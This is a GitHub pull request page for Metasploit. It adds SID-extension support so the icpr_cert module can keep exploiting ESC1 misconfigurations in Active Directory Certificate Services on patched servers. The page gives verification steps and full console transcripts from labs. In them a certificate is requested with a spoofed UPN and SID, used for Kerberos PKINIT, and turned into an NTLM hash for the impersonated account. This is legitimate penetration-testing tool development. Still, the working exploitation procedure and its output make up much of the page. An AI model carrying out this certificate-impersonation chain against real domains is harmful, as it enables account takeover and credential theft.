Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support Issuing Certificates With NTDS_CA_SECURITY_EXT #18078

Merged
merged 5 commits into from Jun 15, 2023

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Jun 8, 2023

This adds support to the icpr_cert module to issue certificates for an explicit SID by specifying it within the NTDS_CA_SECURITY_EXT. Prior to this PR, if the server added this extension, it would be parsed using #get_cert_ext_property but it couldn't be included in the request. Including it in the request is required now when targeting servers with the KB5014754 patch applied and the StrongCertificateBindingEnforcement REG_DWORD value set to 2. Including it in the request will be required by default in November of this year when Microsoft changes the default value of this from 1 to 2. The default value is used when the item is not present in the registry.

Making these changes now ensures that Metasploit is ready for this change and that users will continue to be able to exploit ESC1 just with the extra step of needing to find and set the SID. Users can get the SID using the ldap_query module. Metasploit also currently supports exploit ESC2, ESC3 and ESC4. When I tested my fully patched Server 2019 instance, certificates that were requested using ON_BEHALF_OF and PFX would include the SID in their response. ESC4 makes a certificate template vulnerable to ESC1 which will also continue to work. This means our currently supported attacks of ESC1-4 will continue to work by default after November.

For additional context on these changes, see the following references which I found helpful:

PKINIT Changes

The AS-REQ request used as part of PKINIT functionality had to be updated in order to work with the new certificate. The underlying issue was in the data that was being signed which caused the signature validation to fail and an integrity error to be raised.

Verification

  • Install AD CS
  • Setup a certificate template that is vulnerable to ESC 1
  • Ensure that your target server is fully patched
  • Make the required registry change REG ADD HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2
  • Reboot the server
  • Use the icpr_cert module and follow the steps to exploit ESC1
  • Make sure you set the ALT_SID datastore option to the SID of the target account
  • Validate that the certificate that was issued is able to be used with the auxiliary/admin/kerberos/get_ticket module
    • If the extension is not present in the certificate or the SID is incorrect, the operation will fail with KDC_ERR_CERTIFICATE_MISMATCH
    • If the ALT_SID datastore is not specified, the certificate will still be issued so it's important to test it with the auxiliary/admin/kerberos/get_ticket module

Demo

msf6 auxiliary(admin/dcerpc/icpr_cert) > show options 

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting                                 Required  Description
   ----           ---------------                                 --------  -----------
   ALT_DNS                                                        no        Alternative certificate DNS
   ALT_SID        S-1-5-21-3402587289-1488798532-3618296993-1000  no        Alternative object SID
   ALT_UPN        smcintyre@msflab.local                          no        Alternative certificate UPN (format: USER@DOMAIN)
   CA             msflab-DC-CA                                    yes       The target certificate authority
   CERT_TEMPLATE  ESC1-Test                                       yes       The certificate template
   ON_BEHALF_OF                                                   no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                                                            no        Certificate to request on behalf of
   RHOSTS         192.168.159.10                                  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445                                             yes       The target port (TCP)
   SMBDomain      .                                               no        The Windows domain to use for authentication
   SMBPass        Password1!                                      no        The password for the specified username
   SMBUser        aliddle                                         no        The username to authenticate as


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608135200_default_192.168.159.10_windows.ad.cs_037584.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous 
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20230608135200_default_192.168.159.10_windows.ad.cs_037584.pfx
[*] Running module against 192.168.159.10

[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230608135208_default_192.168.159.10_mit.kerberos.cca_991378.bin
[*] 192.168.159.10:88 - Getting NTLM hash for smcintyre@msflab.local
[+] 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230608135208_default_192.168.159.10_mit.kerberos.cca_738323.bin
[+] Found NTLM hash for smcintyre: aad3b435b51404eeaad3b435b51404ee:07d128430a6338f8d537f6b3ae1dc136
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > previous 
msf6 auxiliary(admin/dcerpc/icpr_cert) > run ALT_SID=""
[*] Running module against 192.168.159.10

[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608135215_default_192.168.159.10_windows.ad.cs_708469.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous 
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20230608135215_default_192.168.159.10_windows.ad.cs_708469.pfx
[*] Running module against 192.168.159.10

[-] Auxiliary aborted due to failure: unknown: Kerberos Error - KDC_ERR_CERTIFICATE_MISMATCH (66) - PKINIT - KDC_ERR_CERTIFICATE_MISMATCH
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > 

Comment on lines +338 to +340
Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to
specify who we would like to authenticate as instead. Note that this only works with certificate templates that are
vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set.
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Technically setting ALT_SID isn't always required. It's required today on fully patched servers with the registry key set to require the strong mapping and will be required by default in the future. To avoid providing an abundance of details, this simply mentions that it should be set. If the SID isn't required because the server isn't patched, then including it is harmless.

@sempervictus
Copy link
Contributor

Neat! Thank you sir.

@space-r7 space-r7 self-assigned this Jun 14, 2023
Copy link
Contributor

@space-r7 space-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just a couple of small suggestions!

documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/ms_icpr.rb Show resolved Hide resolved
@space-r7
Copy link
Contributor

Looks good to me!

Testing with ALT_SID set
sf6 auxiliary(gather/ldap_query) > use auxiliary/admin/dcerpc/icpr_cert 
msf6 auxiliary(admin/dcerpc/icpr_cert) > set rhost 192.168.140.197
rhost => 192.168.140.197
msf6 auxiliary(admin/dcerpc/icpr_cert) > options

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   ALT_DNS                         no        Alternative certificate DNS
   ALT_SID                         no        Alternative object SID
   ALT_UPN                         no        Alternative certificate UPN (format: USER@DOMAIN)
   CA                              yes       The target certificate authority
   CERT_TEMPLATE  User             yes       The certificate template
   ON_BEHALF_OF                    no        Username to request on behalf of (format: DOMAIN\USER)
   PFX                             no        Certificate to request on behalf of
   RHOSTS         192.168.140.197  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                             /basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        The Windows domain to use for authentication
   SMBPass                         no        The password for the specified username
   SMBUser                         no        The username to authenticate as


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUSER space
SMBUSER => space
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPASS password
SMBPASS => password
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN space@msf.local
ALT_UPN => space@msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-2822144790-245595455-3641362119-1000 
ALT_SID => S-1-5-21-2822144790-245595455-3641362119-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
CERT_TEMPLATE => ESC1-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msf-WIN-8PJMCCQ1L36-CA
CA => msf-WIN-8PJMCCQ1L36-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.140.197

[+] 192.168.140.197:445 - The requested certificate was issued.
[*] 192.168.140.197:445 - Certificate SID: S-1-5-21-2822144790-245595455-3641362119-1000
[*] 192.168.140.197:445 - Certificate UPN: space@msf.local
[*] 192.168.140.197:445 - Certificate stored at: /Users/space/.msf4/loot/20230615125029_default_192.168.140.197_windows.ad.cs_202441.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(admin/kerberos/get_ticket) > options

Module options (auxiliary/admin/kerberos/get_ticket):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   AES_KEY                         no        The AES key to use for Kerberos authentication in hex string. Supported k
                                             eys: 128 or 256 bits
   CERT_FILE                       no        The PKCS12 (.pfx) certificate file to authenticate with
   CERT_PASSWORD                   no        The certificate file's password
   DOMAIN                          no        The Fully Qualified Domain Name (FQDN). Ex: mydomain.local
   NTHASH                          no        The NT hash in hex string. Server must support RC4
   PASSWORD                        no        The domain user's password
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                             /basics/using-metasploit.html
   RPORT          88               yes       The target port
   Timeout        10               yes       The TCP timeout to establish Kerberos connection and read data
   USERNAME                        no        The domain user


   When ACTION is GET_TGS:

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   IMPERSONATE                   no        The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy
                                            to request the ticket)
   Krb5Ccname                    no        The Kerberos TGT to use when requesting the service ticket. If unset, the d
                                           atabase will be checked
   SPN                           no        The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydo
                                           main.local


Auxiliary action:

   Name     Description
   ----     -----------
   GET_TGT  Request a Ticket-Granting-Ticket (TGT)



View the full module info with the info, or info -d command.

msf6 auxiliary(admin/kerberos/get_ticket) > set USERNAME space
USERNAME => space
msf6 auxiliary(admin/kerberos/get_ticket) > set PASSWORD password
PASSWORD => password
msf6 auxiliary(admin/kerberos/get_ticket) > set RHOST 192.168.140.197
RHOST => 192.168.140.197
msf6 auxiliary(admin/kerberos/get_ticket) > set DOMAIN msf.local
DOMAIN => msf.local
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/Users/space/.msf4/loot/20230615125029_default_192.168.140.197_windows.ad.cs_202441.pfx
[*] Running module against 192.168.140.197

[+] 192.168.140.197:88 - Received a valid TGT-Response
[*] 192.168.140.197:88 - TGT MIT Credential Cache ticket saved to /Users/space/.msf4/loot/20230615125149_default_192.168.140.197_mit.kerberos.cca_094519.bin
[*] 192.168.140.197:88 - Getting NTLM hash for space@msf.local
[+] 192.168.140.197:88 - Received a valid TGS-Response
[*] 192.168.140.197:88 - TGS MIT Credential Cache ticket saved to /Users/space/.msf4/loot/20230615125149_default_192.168.140.197_mit.kerberos.cca_277936.bin
[+] Found NTLM hash for space: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[*] Auxiliary module execution completed
Testing without ALT_SID
msf6 auxiliary(admin/kerberos/get_ticket) > previous
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID ''
ALT_SID => 
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.140.197

[+] 192.168.140.197:445 - The requested certificate was issued.
[*] 192.168.140.197:445 - Certificate UPN: space@msf.local
[*] 192.168.140.197:445 - Certificate stored at: /Users/space/.msf4/loot/20230615125307_default_192.168.140.197_windows.ad.cs_003373.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/Users/space/.msf4/loot/20230615125307_default_192.168.140.197_windows.ad.cs_003373.pfx
[*] Running module against 192.168.140.197

[-] Auxiliary aborted due to failure: unknown: Kerberos Error - KDC_ERR_CERTIFICATE_MISMATCH (66) - PKINIT - KDC_ERR_CERTIFICATE_MISMATCH
[*] Auxiliary module execution completed

space-r7 added a commit that referenced this pull request Jun 15, 2023
@space-r7
Copy link
Contributor

Release Notes

This adds support to the auxiliary/admin/dcerpc/icpr_cert module to issue certificates for an explicit SID by specifying it within the NTDS_CA_SECURITY_EXT. This addition ensures that ESC1 will remain exploitable when issuing certificates with an SID becomes a requirement.

space-r7 added a commit that referenced this pull request Jun 15, 2023
@space-r7 space-r7 merged commit a31a351 into rapid7:master Jun 15, 2023
30 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

5 participants